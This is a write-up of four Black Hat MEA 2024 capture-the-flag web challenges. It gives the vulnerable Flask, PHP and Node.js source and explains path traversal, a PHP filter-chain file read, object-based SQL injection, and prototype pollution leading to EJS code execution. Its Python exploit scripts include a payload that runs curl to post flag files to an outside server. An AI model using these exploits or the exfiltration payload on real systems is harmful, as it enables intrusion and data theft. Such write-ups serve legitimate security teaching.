# Black Hat MEA 2024 Web write-ups

<figure><img src="https://4098094821-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWKywze2t7JXQYRs2fUkR%2Fuploads%2FDDg2sRwPn8FWy3WIWb3P%2FScreenshot_1.png?alt=media&#x26;token=dde4e130-b727-4e4c-b25e-46c23aa78eff" alt=""><figcaption></figcaption></figure>

## Challenge : Watermelon easy 120 points

we have this Flask app, which is an api to store files and share files

```python
from flask import Flask, request, jsonify, session, send_file
from functools import wraps
from flask_sqlalchemy import SQLAlchemy
import os, secrets
from werkzeug.utils import secure_filename



app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db' 
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SECRET_KEY'] = secrets.token_hex(20)
app.config['UPLOAD_FOLDER'] = 'files'


db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(120), nullable=False)

class File(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    filename = db.Column(db.String(255), nullable=False)
    filepath = db.Column(db.String(255), nullable=False)
    uploaded_at = db.Column(db.DateTime, nullable=False, default=db.func.current_timestamp())
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

    user = db.relationship('User', backref=db.backref('files', lazy=True))


def create_admin_user():
    admin_user = User.query.filter_by(username='admin').first()
    if not admin_user:
        admin_user = User(username='admin', password= secrets.token_hex(20))
        db.session.add(admin_user)
        db.session.commit()
        print("Admin user created.")
    else:
        print("Admin user already exists.")

with app.app_context():
    db.create_all()
    create_admin_user()

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session:
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function


def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function

@app.route('/')
def index():
    return 'Welcome to my file sharing API'

@app.post("/register")
def register():
    if not request.json or not "username" in request.json or not "password" in request.json:
        return jsonify({"Error": "Please fill all fields"}), 400
    
    username = request.json['username']
    password = request.json['password']

    if User.query.filter_by(username=username).first():
        return jsonify({"Error": "Username already exists"}), 409

    new_user = User(username=username, password=password)
    db.session.add(new_user)
    db.session.commit()

    return jsonify({"Message": "User registered successfully"}), 201

@app.post("/login")
def login():
    if not request.json or not "username" in request.json or not "password" in request.json:
        return jsonify({"Error": "Please fill all fields"}), 400
    
    username = request.json['username']
    password = request.json['password']

    user = User.query.filter_by(username=username, password=password).first()
    if not user:
        return jsonify({"Error": "Invalid username or password"}), 401
    
    session['user_id'] = user.id
    session['username'] = user.username
    return jsonify({"Message": "Login successful"}), 200

@app.get('/profile')
@login_required
def profile():
    return jsonify({"username": session['username'], "user_id": session['user_id']})

@app.get('/files')
@login_required
def list_files():
    user_id = session.get('user_id')
    files = File.query.filter_by(user_id=user_id).all()
    file_list = [{"id": file.id, "filename": file.filename, "filepath": file.filepath, "uploaded_at": file.uploaded_at} for file in files]
    return jsonify({"files": file_list}), 200


@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
    if 'file' not in request.files:
        return jsonify({"Error": "No file part"}), 400
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({"Error": "No selected file"}), 400
    
    user_id = session.get('user_id')
    if file:
        blocked = ["proc", "self", "environ", "env"]
        filename = file.filename

        if filename in blocked:
            return jsonify({"Error":"Why?"})

        user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
        os.makedirs(user_dir, exist_ok=True)
        

        file_path = os.path.join(user_dir, filename)

        file.save(f"{user_dir}/{secure_filename(filename)}")
        

        new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
        db.session.add(new_file)
        db.session.commit()
        
        return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201

    return jsonify({"Error": "File upload failed"}), 500

@app.route("/file/<int:file_id>", methods=["GET"])
@login_required  
def view_file(file_id):
    user_id = session.get('user_id')
    file = File.query.filter_by(id=file_id, user_id=user_id).first()

    if file is None:
        return jsonify({"Error": "File not found or unauthorized access"}), 404
    
    try:
        return send_file(file.filepath, as_attachment=True)
    except Exception as e:
        return jsonify({"Error": str(e)}), 500


@app.get('/admin')
@admin_required
def admin():
    return os.getenv("FLAG","BHFlagY{testing_flag}")



if __name__ == '__main__':
    app.run(host='0.0.0.0')
```

it uses `from werkzeug.utils import secure_filename` in the upload Route to secure against lfi while storing files since we can not overwrite any file on the system&#x20;

but anyway `secure_filename` is used directly in the function and the file path can still be malformed when it is used in the next route , so if we uploaded a file with name \`../../../etc/passwd\` we can read it's content&#x20;

```python
@app.route("/file/<int:file_id>", methods=["GET"])
@login_required  
def view_file(file_id):
    user_id = session.get('user_id')
    file = File.query.filter_by(id=file_id, user_id=user_id).first()

    if file is None:
        return jsonify({"Error": "File not found or unauthorized access"}), 404
    
    try:
        return send_file(file.filepath, as_attachment=True)
    except Exception as e:
        return jsonify({"Error": str(e)}), 500
```

let's try

<figure><img src="https://4098094821-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWKywze2t7JXQYRs2fUkR%2Fuploads%2Fp2PaOQmHr1RPqpt9zT3N%2F1.png?alt=media&#x26;token=30ea72ae-ad4d-45e7-83db-9b92982595c9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4098094821-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWKywze2t7JXQYRs2fUkR%2Fuploads%2F6rwm0XzkwogcBGrHCBZZ%2F2.png?alt=media&#x26;token=7d0b921c-4227-4020-a327-e3d881ebe124" alt=""><figcaption></figcaption></figure>

nice now we want to get the admin creds. remember admin's pass is created using this function

```python
def create_admin_user():
    admin_user = User.query.filter_by(username='admin').first()
    if not admin_user:
        admin_user = User(username='admin', password= secrets.token_hex(20))
        db.session.add(admin_user)
        db.session.commit()
        print("Admin user created.")
    else:
        print("Admin user already exists.")pyth
```

and the db is sqlite `app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'` so we can read it and get admin's pass. from docker instance it got the path which is `/app/instance/db.db`  &#x20;

<div><figure><img src="https://4098094821-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWKywze2t7JXQYRs2fUkR%2Fuploads%2F4UtuCWAHdem7nTqYvoki%2F3.png?alt=media&#x26;token=4ceab1f4-f428-48fe-a0a4-3ad56bcbc2bf" alt=""><figcaption></figcaption></figure> <figure><img src="https://4098094821-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWKywze2t7JXQYRs2fUkR%2Fuploads%2FcgPk91JuIkTq7wAMDzVh%2F4.png?alt=media&#x26;token=62f8bd4c-1c23-4622-954a-28bf3339d1b5" alt=""><figcaption></figcaption></figure></div>

nice we got the admin's pass and now login with it and get the flag

## Challenge: Free Flag 110 points

we have a php app which is vuln to lfi from the first sight but it have one challenge that the start of the file must be with \<?php or \<html .

```php
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Free Flag</title>
</head>
<body>
    
<?php


function isRateLimited($limitTime = 1) {
    $ipAddress=$_SERVER['REMOTE_ADDR'];
    $filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
    $lastRequestTime = @file_get_contents($filename);
    
    if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
        return true;
    }

    file_put_contents($filename, time());
    echo $filename;
    return false;
}


    if(isset($_POST['file']))
    {
        if(isRateLimited())
        {
            die("Limited 1 req per second");
        }
        $file = $_POST['file'];
        if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
        {
           echo 'noo' ;
        }
        else
        {
            echo file_get_contents($file);
        }
    }

?>
</body>
</html>

```

we can use this tool <https://github.com/synacktiv/php_filter_chain_generator> which we can use to emped the \<?php part, and change the last part to`/srv/flag.txt` to get the flag

<figure><img src="https://4098094821-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWKywze2t7JXQYRs2fUkR%2Fuploads%2Fsbxq5TBoWPUbk8aI1laN%2Ffree1.png?alt=media&#x26;token=9a429dbc-9fb1-4e95-8bcb-36c4ea35f886" alt=""><figcaption></figcaption></figure>

<div><figure><img src="https://4098094821-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWKywze2t7JXQYRs2fUkR%2Fuploads%2FSGOH9jSTi9eEN8t1RjSj%2Ffree2.png?alt=media&#x26;token=3e9ae61c-a7b0-40e8-88bf-bfa7d2eb8f10" alt=""><figcaption></figcaption></figure> <figure><img src="https://4098094821-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWKywze2t7JXQYRs2fUkR%2Fuploads%2FGQYkAi9BXtlUiKtJYJnB%2Ffree3.png?alt=media&#x26;token=65725c8a-c216-43c5-9e0a-0b49a8b01ad9" alt=""><figcaption></figcaption></figure></div>

we could read /etc/passwd, using the same way we can read the flag

## Challenge: Notey Meduim 180 points

we have a NodeJs app that is used to create notes and our goal is to read admin's note&#x20;

#### index.js

```javascript
const express = require('express');
const bodyParser = require('body-parser');
const crypto=require('crypto');
var session = require('express-session');
const db = require('./database');
const middleware = require('./middlewares');

const app = express();


app.use(bodyParser.urlencoded({
extended: true
}))

app.use(session({
    secret: crypto.randomBytes(32).toString("hex"),
    resave: true,
    saveUninitialized: true
}));



app.get('/',(req,res)=>{
    res.send("Welcome")
})

app.get('/profile', middleware.auth, (req, res) => {
    const username = req.session.username;

    db.getNotesByUsername(username, (err, notes) => {
    if (err) {
        return res.status(500).json({ error: 'Internal Server Error' });
    }
    res.json(notes);
    });
});

app.get('/viewNote', middleware.auth, (req, res) => {
    const { note_id,note_secret } = req.query;

    if (note_id && note_secret){
        db.getNoteById(note_id, note_secret, (err, notes) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
            return res.json(notes);
        });
    }
    else
    {
        return res.status(400).json({"Error":"Missing required data"});
    }
});


app.post('/addNote', middleware.auth, middleware.addNote, (req, res) => {
    const { content, note_secret } = req.body;
        db.addNote(req.session.username, content, note_secret, (err, results) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
    
            if (results) {
            return res.json({ message: 'Note added successful' });
            } else {
            return res.status(409).json({ error: 'Something went wrong' });
            }
        });
});


app.post('/login', middleware.login, (req, res) => {
const { username, password } = req.body;

    db.login_user(username, password, (err, results) => {
        if (err) {
        console.log(err);
        return res.status(500).json({ error: 'Internal Server Error' });
        }

        if (results.length > 0) {
        req.session.username = username;
        return res.json({ message: 'Login successful' });
        } else {
        return res.status(401).json({ error: 'Invalid username or password' });
        }
    });
});

app.post('/register', middleware.login, (req, res) => {
const { username, password } = req.body;

    db.register_user(username, password, (err, results) => {
        if (err) {
        return res.status(500).json({ error: 'Internal Server Error' });
        }

        if (results) {
        return res.json({ message: 'Registration successful' });
        } else {
        return res.status(409).json({ error: 'Username already exists' });
        }
    });
});

db.wait().then(() => {
    db.insertAdminUserOnce((err, results) => {
        if (err) {
            console.error('Error:', err);
        } else {
            db.insertAdminNoteOnce((err, results) => {
                if (err) {
                    console.error('Error:', err);
                } else {
                    app.listen(3000, () => {
                        console.log('Server started on http://localhost:3000');
                    });
                }
            });
        }
    });
});

```

#### &#x20;middlewares.js

```javascript
const auth = (req, res, next) => {
    ssn = req.session
    if (ssn.username) {
        return next();
    } else {
        return res.status(401).send('Authentication required.');
    }
};


const login = (req,res,next) =>{
    const {username,password} = req.body;
    if ( !username || ! password )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof username !== "string" || typeof password !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    next();
}

const addNote = (req,res,next) =>{
    const { content, note_secret } = req.body;
    if ( !content || ! note_secret )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof content !== "string" || typeof note_secret !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    else if( !(content.length > 0 && content.length < 255) ||  !( note_secret.length >=8 && note_secret.length < 255) )
    {
        return res.status(400).send("Wrong data length");
    }
    next();
}

module.exports ={
    auth, login, addNote
};
```

#### database.js

```javascript
// that is not all but what we need
const mysql = require('mysql');

function getNoteById(noteId, secret, callback) {
  const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
  console.log(noteId,secret);
  pool.query(query, [noteId,secret], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}
```

first thing is the app is using `require('mysql');` and prepared statments (which is not we will see) to secure agains sql injection from <https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values> and <https://youtu.be/mlRvMiTx3-I?si=OQwuhLy3-UGy5L_H> we can see that it is vuln to sql injection and this is not prepared statments so something like `note_id=66&note_secret[username]=admin` in the getNotebyID function can lead to sql injection

also this challnge had jail and set the memory to 0, so we need to write a script to automate the exploit

```python
import requests

# Create a Session object
session = requests.Session()

#BHFlagY{1731788be1c842b4fac021e80e20e459}
#url = 'http://a25d1076f00f22bc71975.playat.flagyard.com/' this was the challenge url
url = 'http://127.0.0.1:5000/'

def register(url):
    # The URL where the Flask application is running
    url = url+ "register"

    # The data to be sent to the server
    data = {"username": "test2", "password": "test2"}

    # Perform the POST request
    response = session.post(url, data=data)

    # Print the response text and cookies
    print(response.text)
    print(response.cookies.get('connect.sid'))


def login(url):
        # The URL where the Flask application is running
    url = url+ "login"

    # The data to be sent to the server
    data = {"username": "test2", "password": "test2"}

    # Perform the POST request
    response = session.post(url, data=data)

    # Print the response text and cookies
    print(response.text)
    print(response.cookies.get('connect.sid'))

def profile(url):
    # URL for a different request where you want to keep the cookies
    url = url+ "profile"

    # Perform another request using the same session
    response = session.get(url)

    # Print the response text
    print(response.text)
    print(response.request._cookies.get('connect.sid'))


def viewNote(url):
    # # URL endpoint for the request
    url = url + "viewNote"
    
    query = {"note_id": 66, "note_secret[username]": "admin"}
    
    # Perform the GET request with query parameters
    response = session.get(url=url, params=query)
    
    # Print the response text
    print(response.text)
    
    # Print the cookies sent with the response (if any)
    print(response.cookies.get('connect.sid'))

#register(url)

while True:
    login(url)
    viewNote(url)

```

## Challenge: Fastes Delivery Service Hard 270 points

this nodejs app is vuln to prototype pollution in the address \`**`address`**\` function and we need to get RCE from ejs which is vuln to this CVE-2024-33883

```json
{
    "name": "food-delivery-service",
    "version": "1.0.0",
    "description": "",
    "main": "app.js",
    "scripts": {
      "start": "node app.js"
    },
    "dependencies": {
      "express": "^4.18.2",
      "body-parser": "^1.20.1",
      "ejs":"^3.1.9",
      "express-session":"^1.18.0"
    }
  }
```

```javascript
// this is not all but what we only need
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const crypto = require("crypto");

const app = express();
const PORT = 3000;

// In-memory data storage
let users = {};
let orders = {};
let addresses = {};

// Inserting admin user
users['admin'] = { password: crypto.randomBytes(16).toString('hex'), orders: [], address: '' };

// Middleware
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.use(session({
    secret: crypto.randomBytes(16).toString('hex'),
    resave: false,
    saveUninitialized: true
}));

// Routes
app.get('/', (req, res) => {
    res.render('index', { user: req.session.user });
});
app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    const user = users[username];

    if (user && user.password === password) {
        req.session.user = { username };
        res.redirect('/');
    } else {
        res.send('Invalid credentials. <a href="/login">Try again</a>.');
    }
});

app.get('/logout', (req, res) => {
    req.session.destroy();
    res.redirect('/');
});

app.get('/register', (req, res) => {
    res.render('register');
});

app.post('/register', (req, res) => {
    const { username, password } = req.body;

    if (Object.prototype.hasOwnProperty.call(users, username)) {
        res.send('Username already exists. <a href="/register">Try a different username</a>.');
    } else {
        users[username] = { password, orders: [], address: '' };
        req.session.user = { username };
        res.redirect(`/address`);
    }
});

app.get('/address', (req, res) => {
    const { user } = req.session;
    if (user && users[user.username]) {
        res.render('address', { username: user.username });
    } else {
        res.redirect('/register');
    }
});

app.post('/address', (req, res) => {
    const { user } = req.session;
    const { addressId, Fulladdress } = req.body;

    if (user && users[user.username]) {
        addresses[user.username][addressId] = Fulladdress;
        users[user.username].address = addressId;
        res.redirect('/login');
    } else {
        res.redirect('/register');
    }
});



app.get('/order', (req, res) => {
    if (req.session.user) {
        res.render('order');
    } else {
        res.redirect('/login');
    }
});

app.post('/order', (req, res) => {
    if (req.session.user) {
        const { item, quantity } = req.body;
        const orderId = `order-${Date.now()}`;
        orders[orderId] = { item, quantity, username: req.session.user.username };
        users[req.session.user.username].orders.push(orderId);
        res.redirect('/');
    } else {
        res.redirect('/login');
    }
});

app.get('/admin', (req, res) => {
    if (req.session.user && req.session.user.username === 'admin') {
        const allOrders = Object.keys(orders).map(orderId => ({
            ...orders[orderId],
            orderId
        }));
        res.render('admin', { orders: allOrders });
    } else {
        res.redirect('/');
    }
});


// Start server
app.listen(PORT, '0.0.0.0', () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});
```

first we need to polluote the addresses object , if we used the same logic in this script we can polluote the Object and control crtical values in Nodejs runtime&#x20;

```javascript
let users = {};
let orders = {};
let addresses = {};

username = '__proto__';
addressId = 'foo';
Fulladdress = 'bar';

users[username] = { 'password': 'aaaa', orders: [], address: '' };
addresses[username][addressId] = Fulladdress;
users[username].address = addressId;
console.log(Object.foo)
// result: bar
```

next we can use this poc for [CVE-2024-33883](https://github.com/Grantzile/PoC-CVE-2024-33883) which is baed on prototype pollution. again the challenge is jailed and we need to make a script&#x20;

```python
import requests


session = requests.Session()

url='http://localhost:3000/'
#url='http://a61a2c36e9a8e2740d1e2.playat.flagyard.com/' this was the challenge url 
def register(url):
    url= url + 'register'
    data= {"username":"__proto__", "password": "asas"}
    res = session.post(url, data=data, allow_redirects=False)
    print(res.text)


def address1(url):
    url= url + 'address'
    data = {"username":"__proto__","addressId":"client","Fulladdress":"1"}
    res = session.post(url, data=data,allow_redirects=False)
    print(res.text)




def address2(url):
    url= url + 'address'
    data = {"username":"__proto__","addressId":"escapeFunction","Fulladdress":"""process.mainModule.require('child_process').execSync('curl -X POST -d "$(cat /tmp/flag*)" https://myserver');"""}
    res = session.post(url, data=data, allow_redirects=False)
    print(res.text)  



def index(url):
    res = session.get(url)
    print(res.text)

register(url)
address1(url)
address2(url)
index(url)

```
